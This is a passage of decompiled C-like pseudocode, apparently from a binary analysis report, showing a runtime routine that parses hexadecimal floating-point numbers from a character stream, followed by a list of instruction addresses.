												 *(_t882 + 8) = 1;
											}
											_t424 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
												_t937 =  *_t882;
												__eflags = _t937;
												if(_t937 == 0) {
													L315:
													 *_t882 = 0;
													_t467 = 1;
													goto L282;
												} else {
													_t798 =  *((intOrPtr*)(_t937 + 0x38));
													_t1010 =  *_t798;
													__eflags = _t1010;
													if(_t1010 == 0) {
														L312:
														_t471 =  *((intOrPtr*)( *_t937 + 0x40))();
													} else {
														_t1049 =  *((intOrPtr*)(_t937 + 0x50));
														_t585 =  *_t1049;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L312;
														} else {
															 *_t1049 = _t585 - 1;
															 *_t798 =  &(_t1010[1]);
															_t471 =  *_t1010 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L315;
													} else {
														_t467 = 0;
														L282:
														 *(_t882 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t793 = _a112;
											 *_t793 = 0x30;
											_a112 = _t793 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L319;
									}
								}
							}
						}
						L319:
						_t1081 =  &_v34;
						while(1) {
							L332:
							_t902 =  *_t882;
							_t571 = 0;
							__eflags = _t902;
							_t562 = 0;
							if(_t902 == 0) {
								goto L338;
							}
							_t782 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t782;
							if(_t782 == 0) {
								L336:
								_t466 =  *((intOrPtr*)( *_t902 + 0x38))();
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L336;
								} else {
									_t466 =  *_t782 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L338:
							_t903 =  *_a96;
							__eflags = _t903;
							if(_t903 != 0) {
								_t790 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
								__eflags = _t790;
								if(_t790 == 0) {
									L342:
									_t465 =  *((intOrPtr*)( *_t903 + 0x38))();
								} else {
									__eflags =  *( *(_t903 + 0x50));
									if( *( *(_t903 + 0x50)) <= 0) {
										goto L342;
									} else {
										_t465 =  *_t790 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t934 =  *_t882;
									__eflags = _t934;
									if(_t934 == 0) {
										L353:
										 *_t882 = 0;
									} else {
										_t787 =  *((intOrPtr*)( *((intOrPtr*)(_t934 + 0x38))));
										__eflags = _t787;
										if(_t787 == 0) {
											L350:
											_t424 =  *((intOrPtr*)( *_t934 + 0x38))();
										} else {
											__eflags =  *( *(_t934 + 0x50));
											if( *( *(_t934 + 0x50)) <= 0) {
												goto L350;
											} else {
												_t424 =  *_t787 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L353;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t541 =  *(_t882 + 0xa) & 0x0000ffff;
								_t778 = _t1081;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t778 + 2) & 0x0000ffff;
									_t778 = _t778 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L515:
									__eflags = r10b & 0x00000001;
									_t1072 =  ==  ? _t1092 : _t1071;
									__eflags = _a88;
									_t1073 =  !=  ? _t1092 :  ==  ? _t1092 : _t1071;
									 *((char*)( !=  ? _t1092 :  ==  ? _t1092 : _t1071)) = 0;
									 *_a232 = r9d;
									_t725 = _v56;
									__eflags = _t725 - 0x10;
									if(_t725 >= 0x10) {
										_t906 = _v80;
										__eflags = _t725 + 1 - 0x1000;
										if(_t725 + 1 >= 0x1000) {
											_t906 =  *((intOrPtr*)(_t906 - 8));
										}
										E00402090(_t424, _t906);
									}
									__eflags = 0;
									return 0;
									goto L530;
								}
								_t780 = _t778 -  &_v32 >> 1;
								__eflags = _t780 - 0x15;
								if(_t780 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t932 = _a112;
										 *_t932 =  *((intOrPtr*)(_t780 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t932 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t929 =  *_t882;
									__eflags = _t929;
									if(_t929 == 0) {
										L330:
										 *_t882 = 0;
										_t461 = 1;
									} else {
										_t784 =  *((intOrPtr*)(_t929 + 0x38));
										_t1006 =  *_t784;
										__eflags = _t1006;
										if(_t1006 == 0) {
											L327:
											_t462 =  *((intOrPtr*)( *_t929 + 0x40))();
										} else {
											_t1048 =  *((intOrPtr*)(_t929 + 0x50));
											_t582 =  *_t1048;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L327;
											} else {
												 *_t1048 = _t582 - 1;
												 *_t784 =  &(_t1006[1]);
												_t462 =  *_t1006 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L330;
										} else {
											_t461 = 0;
										}
									}
									 *(_t882 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t904 =  *_t882;
								_t572 = 0;
								__eflags = _t904;
								_t563 = 0;
								_t1071 = _a112;
								r9d = r15d;
								if(_t904 != 0) {
									_t776 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
									__eflags = _t776;
									if(_t776 == 0) {
										L365:
										_t460 =  *((intOrPtr*)( *_t904 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t904 + 0x50));
										if( *( *(_t904 + 0x50)) <= 0) {
											goto L365;
										} else {
											_t460 =  *_t776 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t905 =  *_a96;
								__eflags = _t905;
								if(_t905 != 0) {
									_t773 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
									__eflags = _t773;
									if(_t773 == 0) {
										L371:
										_t459 =  *((intOrPtr*)( *_t905 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t905 + 0x50));
										if( *( *(_t905 + 0x50)) <= 0) {
											goto L371;
										} else {
											_t459 =  *_t773 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t882 + 8);
									if( *(_t882 + 8) == 0) {
										_t927 =  *_t882;
										__eflags = _t927;
										if(_t927 == 0) {
											L383:
											 *_t882 = 0;
										} else {
											_t770 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
											__eflags = _t770;
											if(_t770 == 0) {
												L380:
												_t458 =  *((intOrPtr*)( *_t927 + 0x38))();
												_t1071 = _a112;
												r9d = r15d;
												r10d = _a108;
											} else {
												__eflags =  *( *(_t927 + 0x50));
												if( *( *(_t927 + 0x50)) <= 0) {
													goto L380;
												} else {
													_t458 =  *_t770 & 0x0000ffff;
												}
											}
											__eflags = (_t458 & 0x0000ffff) - 0xffff;
											if((_t458 & 0x0000ffff) == 0xffff) {
												goto L383;
											} else {
												 *(_t882 + 0xa) = _t458;
											}
										}
										 *(_t882 + 8) = 1;
									}
									_t424 =  *(_t882 + 0xa) & 0x0000ffff;
									__eflags = _t424 - _a22;
									if(_t424 == _a22) {
										L387:
										 *_t1071 = 0x70;
										_t907 =  *_t882;
										__eflags = _t907;
										if(_t907 == 0) {
											L397:
											 *_t882 = 0;
											 *(_t882 + 8) = 1;
											goto L398;
										} else {
											_t764 =  *((intOrPtr*)(_t907 + 0x38));
											_t1001 =  *_t764;
											__eflags = _t1001;
											if(_t1001 == 0) {
												L391:
												_t454 =  *((intOrPtr*)( *_t907 + 0x40))();
												_t1071 = _a112;
											} else {
												_t1047 =  *((intOrPtr*)(_t907 + 0x50));
												_t580 =  *_t1047;
												__eflags = _t580;
												if(_t580 <= 0) {
													goto L391;
												} else {
													 *_t1047 = _t580 - 1;
													 *_t764 =  &(_t1001[1]);
													_t454 =  *_t1001 & 0x0000ffff;
												}
											}
											__eflags = (_t454 & 0x0000ffff) - 0xffff;
											if((_t454 & 0x0000ffff) == 0xffff) {
												goto L397;
											} else {
												_t925 =  *_t882;
												 *(_t882 + 8) = 0;
												__eflags = _t925;
												if(_t925 == 0) {
													L398:
													_t573 = 0;
												} else {
													_t767 =  *((intOrPtr*)( *((intOrPtr*)(_t925 + 0x38))));
													__eflags = _t767;
													if(_t767 == 0) {
														L399:
														_t456 =  *((intOrPtr*)( *_t925 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t925 + 0x50));
														if( *( *(_t925 + 0x50)) <= 0) {
															goto L399;
														} else {
															_t456 =  *_t767 & 0x0000ffff;
														}
													}
													_t573 = 0;
													__eflags = (_t456 & 0x0000ffff) - 0xffff;
													sil = (_t456 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
											}
										}
										_t908 =  *_a96;
										__eflags = _t908;
										if(_t908 == 0) {
											_t427 = 0;
											__eflags = 0;
										} else {
											_t762 =  *((intOrPtr*)( *((intOrPtr*)(_t908 + 0x38))));
											__eflags = _t762;
											if(_t762 == 0) {
												L405:
												_t452 =  *((intOrPtr*)( *_t908 + 0x38))();
												_t1071 = _a112;
											} else {
												__eflags =  *( *(_t908 + 0x50));
												if( *( *(_t908 + 0x50)) <= 0) {
													goto L405;
												} else {
													_t452 =  *_t762 & 0x0000ffff;
												}
											}
											__eflags = (_t452 & 0x0000ffff) - 0xffff;
											_t427 = 0 | (_t452 & 0x0000ffff) != 0x0000ffff;
										}
										_t1083 = _t1071 + 1;
										__eflags = _t573 - _t427;
										if(_t573 != _t427) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t924 =  *_t882;
												__eflags = _t924;
												if(_t924 == 0) {
													L417:
													 *_t882 = 0;
												} else {
													_t759 =  *((intOrPtr*)( *((intOrPtr*)(_t924 + 0x38))));
													__eflags = _t759;
													if(_t759 == 0) {
														L414:
														_t451 =  *((intOrPtr*)( *_t924 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t924 + 0x50));
														if( *( *(_t924 + 0x50)) <= 0) {
															goto L414;
														} else {
															_t451 =  *_t759 & 0x0000ffff;
														}
													}
													__eflags = (_t451 & 0x0000ffff) - 0xffff;
													if((_t451 & 0x0000ffff) == 0xffff) {
														goto L417;
													} else {
														 *(_t882 + 0xa) = _t451;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t447 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = _t447 - _a14;
											if(_t447 != _a14) {
												__eflags = _t447 - _a12;
												if(_t447 == _a12) {
													 *((char*)(_t1071 + 1)) = 0x2d;
													_t921 =  *_t882;
													__eflags = _t921;
													if(_t921 == 0) {
														goto L433;
													} else {
														_t755 =  *((intOrPtr*)(_t921 + 0x38));
														_t998 =  *_t755;
														__eflags = _t998;
														if(_t998 == 0) {
															L429:
															_t449 =  *((intOrPtr*)( *_t921 + 0x40))();
															goto L430;
														} else {
															_t1046 =  *((intOrPtr*)(_t921 + 0x50));
															_t578 =  *_t1046;
															__eflags = _t578;
															if(_t578 <= 0) {
																goto L429;
															} else {
																goto L428;
															}
														}
														goto L431;
													}
													goto L434;
												}
											} else {
												 *((char*)(_t1071 + 1)) = 0x2b;
												_t923 =  *_t882;
												__eflags = _t923;
												if(_t923 == 0) {
													L433:
													 *_t882 = 0;
													_t448 = 1;
												} else {
													_t755 =  *((intOrPtr*)(_t923 + 0x38));
													_t998 =  *_t755;
													__eflags = _t998;
													if(_t998 == 0) {
														L423:
														_t449 =  *((intOrPtr*)( *_t923 + 0x40))();
														L430:
														_t1071 = _a112;
													} else {
														_t1046 =  *((intOrPtr*)(_t923 + 0x50));
														_t578 =  *_t1046;
														__eflags = _t578;
														if(_t578 > 0) {
															L428:
															 *_t1046 = _t578 - 1;
															 *_t755 =  &(_t998[1]);
															_t449 =  *_t998 & 0x0000ffff;
														} else {
															goto L423;
														}
													}
													L431:
													__eflags = (_t449 & 0x0000ffff) - 0xffff;
													if((_t449 & 0x0000ffff) == 0xffff) {
														goto L433;
													} else {
														_t448 = 0;
													}
												}
												L434:
												_t1074 = _t1071 + 2;
												__eflags = _t1074;
												 *(_t882 + 8) = _t448;
												_t1083 = _t1074;
											}
										}
										while(1) {
											_t909 =  *_t882;
											__eflags = _t909;
											_t574 = 0;
											if(_t909 == 0) {
												goto L444;
											}
											_t745 =  *((intOrPtr*)( *((intOrPtr*)(_t909 + 0x38))));
											__eflags = _t745;
											if(_t745 == 0) {
												L442:
												_t443 =  *((intOrPtr*)( *_t909 + 0x38))();
											} else {
												__eflags =  *( *(_t909 + 0x50));
												if( *( *(_t909 + 0x50)) <= 0) {
													goto L442;
												} else {
													_t443 =  *_t745 & 0x0000ffff;
												}
											}
											_t574 = 0;
											__eflags = (_t443 & 0x0000ffff) - 0xffff;
											sil = (_t443 & 0x0000ffff) != 0xffff;
											__eflags = sil;
											L444:
											_t910 =  *_a96;
											__eflags = _t910;
											if(_t910 == 0) {
												__eflags = _t574;
												if(_t574 != 0) {
													goto L450;
												} else {
												}
											} else {
												_t753 =  *((intOrPtr*)( *((intOrPtr*)(_t910 + 0x38))));
												__eflags = _t753;
												if(_t753 == 0) {
													L448:
													_t439 =  *((intOrPtr*)( *_t910 + 0x38))();
												} else {
													__eflags =  *( *(_t910 + 0x50));
													if( *( *(_t910 + 0x50)) <= 0) {
														goto L448;
													} else {
														_t439 =  *_t753 & 0x0000ffff;
													}
												}
												(_t439 & 0x0000ffff) - 0xffff = _t574 - ((_t439 & 0x0000ffff) != 0xffff);
												if(_t574 != (_t439 & 0x0000ffff) != 0xffff) {
													L450:
													__eflags =  *(_t882 + 8);
													if( *(_t882 + 8) == 0) {
														_t920 =  *_t882;
														__eflags = _t920;
														if(_t920 == 0) {
															L460:
															 *_t882 = 0;
														} else {
															_t750 =  *((intOrPtr*)( *((intOrPtr*)(_t920 + 0x38))));
															__eflags = _t750;
															if(_t750 == 0) {
																L457:
																_t442 =  *((intOrPtr*)( *_t920 + 0x38))();
															} else {
																__eflags =  *( *(_t920 + 0x50));
																if( *( *(_t920 + 0x50)) <= 0) {
																	goto L457;
																} else {
																	_t442 =  *_t750 & 0x0000ffff;
																}
															}
															__eflags = (_t442 & 0x0000ffff) - 0xffff;
															if((_t442 & 0x0000ffff) == 0xffff) {
																goto L460;
															} else {
																 *(_t882 + 0xa) = _t442;
															}
														}
														 *(_t882 + 8) = 1;
													}
													__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
													if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
														_t918 =  *_t882;
														__eflags = _t918;
														if(_t918 == 0) {
															L470:
															 *_t882 = 0;
															_t438 = 1;
															goto L436;
														} else {
															_t747 =  *((intOrPtr*)(_t918 + 0x38));
															_t994 =  *_t747;
															__eflags = _t994;
															if(_t994 == 0) {
																L467:
																_t445 =  *((intOrPtr*)( *_t918 + 0x40))();
															} else {
																_t1045 =  *((intOrPtr*)(_t918 + 0x50));
																_t576 =  *_t1045;
																__eflags = _t576;
																if(_t576 <= 0) {
																	goto L467;
																} else {
																	 *_t1045 = _t576 - 1;
																	 *_t747 =  &(_t994[1]);
																	_t445 =  *_t994 & 0x0000ffff;
																}
															}
															__eflags = (_t445 & 0x0000ffff) - 0xffff;
															if((_t445 & 0x0000ffff) == 0xffff) {
																goto L470;
															} else {
																_t438 = 0;
																L436:
																 *(_t882 + 8) = _t438;
																dil = 1;
																continue;
															}
															while(1) {
																L486:
																_t911 =  *_t882;
																__eflags = _t911;
																_t565 = 0;
																if(_t911 == 0) {
																	goto L492;
																}
																_t734 =  *((intOrPtr*)( *((intOrPtr*)(_t911 + 0x38))));
																__eflags = _t734;
																if(_t734 == 0) {
																	L490:
																	_t436 =  *((intOrPtr*)( *_t911 + 0x38))();
																} else {
																	__eflags =  *( *(_t911 + 0x50));
																	if( *( *(_t911 + 0x50)) <= 0) {
																		goto L490;
																	} else {
																		_t436 =  *_t734 & 0x0000ffff;
																	}
																}
																_t565 = 0;
																__eflags = (_t436 & 0x0000ffff) - 0xffff;
																dil = (_t436 & 0x0000ffff) != 0xffff;
																__eflags = dil;
																L492:
																_t912 =  *_a96;
																__eflags = _t912;
																if(_t912 == 0) {
																	_t424 = 0;
																	__eflags = _t565;
																	if(_t565 != 0) {
																		goto L498;
																	} else {
																	}
																} else {
																	_t742 =  *((intOrPtr*)( *((intOrPtr*)(_t912 + 0x38))));
																	__eflags = _t742;
																	if(_t742 == 0) {
																		L496:
																		_t431 =  *((intOrPtr*)( *_t912 + 0x38))();
																	} else {
																		__eflags =  *( *(_t912 + 0x50));
																		if( *( *(_t912 + 0x50)) <= 0) {
																			goto L496;
																		} else {
																			_t431 =  *_t742 & 0x0000ffff;
																		}
																	}
																	__eflags = (_t431 & 0x0000ffff) - 0xffff;
																	_t424 = 0 | __eflags != 0x00000000;
																	if(__eflags != 0) {
																		L498:
																		__eflags =  *(_t882 + 8);
																		if( *(_t882 + 8) == 0) {
																			_t917 =  *_t882;
																			__eflags = _t917;
																			if(_t917 == 0) {
																				L508:
																				 *_t882 = 0;
																			} else {
																				_t739 =  *((intOrPtr*)( *((intOrPtr*)(_t917 + 0x38))));
																				__eflags = _t739;
																				if(_t739 == 0) {
																					L505:
																					_t424 =  *((intOrPtr*)( *_t917 + 0x38))();
																				} else {
																					__eflags =  *( *(_t917 + 0x50));
																					if( *( *(_t917 + 0x50)) <= 0) {
																						goto L505;
																					} else {
																						_t424 =  *_t739 & 0x0000ffff;
																					}
																				}
																				__eflags = (_t424 & 0x0000ffff) - 0xffff;
																				if((_t424 & 0x0000ffff) == 0xffff) {
																					goto L508;
																				} else {
																					 *(_t882 + 0xa) = _t424;
																				}
																			}
																			 *(_t882 + 8) = 1;
																		}
																		_t533 =  *(_t882 + 0xa) & 0x0000ffff;
																		_t730 = _t1088;
																		asm("o16 nop [cs:eax+eax]");
																		while(1) {
																			_t551 =  *(_t730 + 2) & 0x0000ffff;
																			_t730 = _t730 + 2;
																			__eflags = _t551;
																			if(_t551 == 0) {
																				break;
																			}
																			__eflags = _t551 - _t533;
																			if(_t551 != _t533) {
																				continue;
																			} else {
																				break;
																			}
																			goto L515;
																		}
																		_t732 = _t730 -  &_v32 >> 1;
																		__eflags = _t732 - 0x15;
																		if(_t732 <= 0x15) {
																			__eflags = r14d - 7;
																			if(r14d <= 7) {
																				 *_t1083 =  *((intOrPtr*)(_t732 + "0123456789ABCDEFabcdef-+XxPp"));
																				_t1083 = _t1083 + 1;
																				r14d = r14d + 1;
																				__eflags = r14d;
																			}
																			_t914 =  *_t882;
																			__eflags = _t914;
																			if(_t914 == 0) {
																				L484:
																				 *_t882 = 0;
																				_t430 = 1;
																			} else {
																				_t736 =  *((intOrPtr*)(_t914 + 0x38));
																				_t990 =  *_t736;
																				__eflags = _t990;
																				if(_t990 == 0) {
																					L481:
																					_t433 =  *((intOrPtr*)( *_t914 + 0x40))();
																				} else {
																					_t1044 =  *((intOrPtr*)(_t914 + 0x50));
																					_t575 =  *_t1044;
																					__eflags = _t575;
																					if(_t575 <= 0) {
																						goto L481;
																					} else {
																						_t575 = _t575 - 1;
																						 *_t1044 = _t575;
																						 *_t736 =  &(_t990[1]);
																						_t433 =  *_t990 & 0x0000ffff;
																					}
																				}
																				__eflags = (_t433 & 0x0000ffff) - 0xffff;
																				if((_t433 & 0x0000ffff) == 0xffff) {
																					goto L484;
																				} else {
																					_t430 = 0;
																				}
																			}
																			 *(_t882 + 8) = _t430;
																			sil = 1;
																			continue;
																		}
																	}
																}
																_t1092 = _a32;
																_t1071 = _t1083;
																r9d = r15d;
																r10d = _t575;
																goto L515;
															}
														}
														goto L486;
													}
												}
											}
											__eflags = dil;
											_a32 = _t1092;
											_t575 = 0;
											if(dil != 0) {
												 *_t1083 = 0x30;
												_t1083 = _t1083 + 1;
												__eflags = _t1083;
											}
											r14d = 0;
											_t1088 =  &_v34;
											goto L486;
										}
									} else {
										__eflags = _t424 - _a20;
										if(_t424 == _a20) {
											goto L387;
										}
									}
								}
							} else {
								_t1071 = _a112;
								r9d = r15d;
							}
							goto L515;
						}
					}
					goto L332;
				}
				L530:
			}

0x004186fd
0x004186fd
0x004186fd
0x004186fd
0x004186fd
0x004186fd
0x004186fd
0x004186fd
0x004186fd
0x00418707
0x00418731
0x00418739
0x0041873b
0x00418748
0x0041874a
0x0041874a
0x0041874e
0x0041874e
0x00418756
0x0041875b
0x0041875e
0x00418761
0x00418763
0x0041876b
0x0041876f
0x00418783
0x0041878b
0x0041878f
0x00418792
0x00418795
0x004187a0
0x004187a3
0x004187a7
0x004187aa
0x004187b1
0x004187b6
0x004187b9
0x004187c0
0x004187c2
0x004187c5
0x004187cb
0x004187d3
0x004187d3
0x004187cb
0x004187e1
0x004187e8
0x004187eb
0x004187ef
0x004187f2
0x004187f9
0x004187fe
0x00418801
0x00418808
0x0041880a
0x0041880d
0x00418813
0x0041881b
0x0041881b
0x00418813
0x00418836
0x00418839
0x0041883c
0x00418841
0x00418846
0x0041884c
0x00418852
0x00418865
0x0041885d
0x0041885d
0x0041885d
0x0041886b
0x00418872
0x00418872
0x0041887a
0x00418880
0x00418886
0x0041888c
0x0041889f
0x00418897
0x00418897
0x00418897
0x004188a5
0x004188ac
0x004188ac
0x004188b2
0x004188b5
0x004188bf
0x004188c1
0x004188c7
0x004188fa
0x004188fa
0x004188c9
0x004188cd
0x004188d3
0x004188e6
0x004188de
0x004188de
0x004188de
0x004188e9
0x004188f2
0x00000000
0x004188f4
0x004188f4
0x004188f4
0x004188f2
0x00418901
0x00418901
0x00418905
0x0041890d
0x00418939
0x0041893d
0x00418940
0x00418942
0x00418946
0x00418949
0x0041894c
0x00000000
0x0041894e
0x0041894e
0x00418952
0x00418955
0x00418958
0x00418974
0x00418977
0x0041895a
0x0041895a
0x0041895e
0x00418960
0x00418962
0x00000000
0x00000000
0x00000000
0x00000000
0x00418962
0x00000000
0x00418958
0x00000000
0x0041894c
0x0041890f
0x0041890f
0x00418913
0x00418919
0x00418988
0x00418988
0x0041898f
0x0041891b
0x0041891b
0x0041891f
0x00418925
0x00418931
0x00418934
0x00418927
0x00418927
0x0041892b
0x0041892f
0x00418964
0x00418966
0x0041896c
0x0041896f
0x00000000
0x00000000
0x00000000
0x0041892f
0x0041897a
0x00418982
0x00000000
0x00418984
0x00418984
0x00418984
0x00418982
0x00418991
0x00418991
0x00418995
0x00418995
0x0041890d
0x00418998
0x0041899e
0x004189a1
0x004189a6
0x004189ab
0x004189b1
0x004189b7
0x004189ca
0x004189c2
0x004189c2
0x004189c2
0x004189d0
0x004189d7
0x004189d7
0x004189db
0x004189df
0x004189e5
0x004189eb
0x004189f1
0x00418a01
0x00418a04
0x004189fc
0x004189fc
0x004189fc
0x00418a0a
0x00418a11
0x00418a11
0x00418a17
0x00418bed
0x00418bed
0x00418a1d
0x00418a21
0x00418a23
0x00418a29
0x00418a5c
0x00418a5c
0x00418a2b
0x00418a2f
0x00418a35
0x00418a45
0x00418a48
0x00418a40
0x00418a40
0x00418a40
0x00418a4b
0x00418a54
0x00000000
0x00418a56
0x00418a56
0x00418a56
0x00418a54
0x00418a63
0x00418a63
0x00418a6f
0x00000000
0x00418a75
0x00418a75
0x00418a7b
0x00418ad9
0x00418ad9
0x00418ae0
0x00000000
0x00418a7d
0x00418a7d
0x00418a81
0x00418a87
0x00418aa3
0x00418aa6
0x00418a89
0x00418a89
0x00418a8d
0x00418a91
0x00000000
0x00418a93
0x00418a95
0x00418a9b
0x00418a9e
0x00418a9e
0x00418a91
0x00418ab1
0x00000000
0x00418ab3
0x00418ab3
0x00418ab6
0x00418abd
0x00418ae4
0x00418ae4
0x00418abf
0x00418ac3
0x00418ac9
0x00418aeb
0x00418ad4
0x00418ad4
0x00418ad4
0x00418af1
0x00418af8
0x00418af8
0x00418abd
0x00418ab1
0x00418afc
0x00418b00
0x00418b06
0x00418b38
0x00418b38
0x00418b08
0x00418b0c
0x00418b12
0x00418b22
0x00418b25
0x00418b1d
0x00418b1d
0x00418b1d
0x00418b28
0x00418b33
0x00418b33
0x00418b3a
0x00418b3f
0x00418b49
0x00418b4b
0x00418b51
0x00418b84
0x00418b84
0x00418b53
0x00418b57
0x00418b5d
0x00418b6d
0x00418b70
0x00418b68
0x00418b68
0x00418b68
0x00418b73
0x00418b7c
0x00000000
0x00418b7e
0x00418b7e
0x00418b7e
0x00418b7c
0x00418b8b
0x00418b8b
0x00418b8f
0x00418b97
0x00418b9f
0x00418ba5
0x00418be1
0x00418be1
0x00418be8
0x00418ba7
0x00418ba7
0x00418bab
0x00418bb1
0x00418bcd
0x00418bcd
0x00418bd0
0x00418bb3
0x00418bb3
0x00418bb7
0x00418bbb
0x00000000
0x00418bbd
0x00418bbf
0x00418bc5
0x00418bc8
0x00418bc8
0x00418bbb
0x00418bdb
0x00000000
0x00418bdd
0x00418bdd
0x00418bdd
0x00418bdb
0x00418bea
0x00000000
0x00418bea
0x00418b97
0x00418b3f
0x00418a6f
0x00418bef
0x00418bf6
0x00418c03
0x00418c08
0x00418c0c
0x00418c10
0x00418c3b
0x00418c3e
0x00418c41
0x00418c45
0x00418d01
0x00418d01
0x00418d04
0x00418d07
0x00418d0c
0x00000000
0x00000000
0x00418d12
0x00418d15
0x00418d18
0x00418d30
0x00418d33
0x00418d1a
0x00418d1e
0x00418d21
0x00000000
0x00418d23
0x00418d23
0x00418d23
0x00418d21
0x00418d39
0x00418d3b
0x00418d40
0x00418d40
0x00418d44
0x00418d48
0x00418d4b
0x00418d4e
0x00418dc0
0x00418dc2
0x00418dc4
0x00000000
0x00000000
0x00418dc6
0x00418d50
0x00418d54
0x00418d57
0x00418d5a
0x00418d70
0x00418d73
0x00418d5c
0x00418d60
0x00418d63
0x00000000
0x00418d65
0x00418d65
0x00418d65
0x00418d63
0x00418d7b
0x00418d81
0x00418d86
0x00418d8c
0x00418d8c
0x00418d90
0x00418d92
0x00418d95
0x00418d98
0x00418de0
0x00418de0
0x00418d9a
0x00418d9e
0x00418da1
0x00418da4
0x00418dc8
0x00418dcb
0x00418da6
0x00418daa
0x00418dad
0x00000000
0x00418daf
0x00418daf
0x00418daf
0x00418dad
0x00418dd1
0x00418dd7
0x00000000
0x00418dd9
0x00418dd9
0x00418dd9
0x00418dd7
0x00418de7
0x00418de7
0x00418deb
0x00418def
0x00418df2
0x00418e00
0x00418e00
0x00418e04
0x00418e08
0x00418e0b
0x00000000
0x00000000
0x00418e11
0x00418e14
0x00000000
0x00418e16
0x00000000
0x00418e16
0x00000000
0x00418e14
0x00418c57
0x00418c5a
0x00418c5e
0x00418c64
0x00418c68
0x00418c70
0x00418c73
0x00418c80
0x00418c8a
0x00418c8e
0x00418c93
0x00418c97
0x00418c97
0x00418c75
0x00418c75
0x00418c78
0x00000000
0x00418c7a
0x00418c7a
0x00418c7a
0x00418c78
0x00418c6a
0x00418c6a
0x00418c6a
0x00418c9a
0x00418c9d
0x00418ca0
0x00418cf0
0x00418cf0
0x00418cf7
0x00418ca2
0x00418ca2
0x00418ca6
0x00418ca9
0x00418cac
0x00418cd0
0x00418cd3
0x00418cae
0x00418cae
0x00418cb2
0x00418cb4
0x00418cb6
0x00000000
0x00418cb8
0x00418cba
0x00418cc0
0x00418cc3
0x00418cc3
0x00418cb6
0x00418cd9
0x00418cde
0x00000000
0x00418ce0
0x00418ce0
0x00418ce0
0x00418cde
0x00418cf9
0x00418cfe
0x00000000
0x00418cfe
0x00418c5e
0x00418d86
0x00418e1b
0x00418e22
0x00418e25
0x00418e28
0x00418e2c
0x00000000
0x00000000
0x00000000
0x00418e2c
0x00418c16
0x00418c16
0x00418c1e
0x00418c22
0x00418f08
0x00418f08
0x00418f0a
0x00418c28
0x00418c28
0x00418c2f
0x00418c32
0x00418c32
0x00418f0e
0x00418f12
0x00418f16
0x00418f1c
0x00418f23
0x00418f27
0x00418f2e
0x004190b9
0x004190b9
0x004190bc
0x004190c1
0x004190c6
0x004190cc
0x004190d2
0x004190f3
0x004190dd
0x004190dd
0x004190dd
0x004190f6
0x004190f9
0x00419100
0x00419100
0x00419104
0x00419108
0x0041910e
0x00419114
0x0041911a
0x00419130
0x00419133
0x00419125
0x00419125
0x00419125
0x00419136
